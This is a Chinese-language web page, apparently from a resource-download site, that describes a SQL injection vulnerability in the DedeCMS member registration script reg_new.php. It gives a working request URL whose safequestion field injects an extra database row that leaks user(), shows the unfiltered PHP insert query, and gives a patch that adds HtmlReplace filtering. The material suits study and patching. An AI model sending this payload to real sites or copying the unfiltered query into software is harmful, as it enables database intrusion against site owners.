花魁直播高品质美女在线视频互动社区 - 花魁直播官方版

 歡迎來到素材無憂網(wǎng),按 + 收藏我們
登錄 注冊(cè) 退出 找回密碼

dedecms織夢(mèng) /member/reg_new.php SQL注入漏洞

時(shí)間: 2018-12-07 23:49 閱讀: 作者:素材無憂網(wǎng)

1. 漏洞描述   Dedecms會(huì)員中心注入漏洞   2. 漏洞觸發(fā)條件
/member/reg_new.php?dopost=regbase&step=1&mtype=%B8%F6%C8%CB&mtype=%B8%F6%C8%CB&userid=123asd123&uname=12asd13123&userpwd=123123&userpwdok=123123&email=1213asd123%40QQ.COM&safequestion=1','1111111111111','1389701121','127.0.0.1','1389701121','127.0.0.1'),('個(gè)人',user(),'4297f44b13955235245b2497399d7a93','12as11111111111111111d13123','','10','0','[email protected]','100', '0','-10','','1&safeanswer=1111111111111&sex=&vdcode=slum&agree=

//把vdcode=slum改成當(dāng)前的驗(yàn)證碼

3. 漏洞影響范圍
  4. 漏洞代碼分析   /member/reg_new.php

..
$jointime = time();
$logintime = time();
$joinip = GetIP();
$loginip = GetIP();
$pwd = md5($userpwd); 

$spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0);

//未對(duì)$mtype、$safeanswer、$safequestion進(jìn)行有效過濾就帶入SQL查詢
$inQuery = "INSERT INTO `dede_member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` ,
`matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` )
VALUES ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores',
'0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); "; 

if($dsql->ExecuteNoneQuery($inQuery))
..

5. 防御方法   /member/reg_new.php

..
$jointime = time();
$logintime = time();
$joinip = GetIP();
$loginip = GetIP();
$pwd = md5($userpwd);
/* 對(duì)$mtype、$safeanswer、$safequestion進(jìn)行有效過濾 */
    $mtype = HtmlReplace($mtype,1);
    $safeanswer = HtmlReplace($safeanswer);
    $safequestion = HtmlReplace($safequestion);
/* */

$spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0);

$inQuery = "INSERT INTO `dede_member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` ,
`matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` )
VALUES ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores',
'0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); ";
if($dsql->ExecuteNoneQuery($inQuery))
{
..

版權(quán)聲明: 本站資源均來自互聯(lián)網(wǎng)或會(huì)員發(fā)布,如果侵犯了您的權(quán)益請(qǐng)與我們聯(lián)系,我們將在24小時(shí)內(nèi)刪除!謝謝!

轉(zhuǎn)載請(qǐng)注明: dedecms織夢(mèng) /member/reg_new.php SQL注入漏洞

標(biāo)簽:  
相關(guān)文章
模板推薦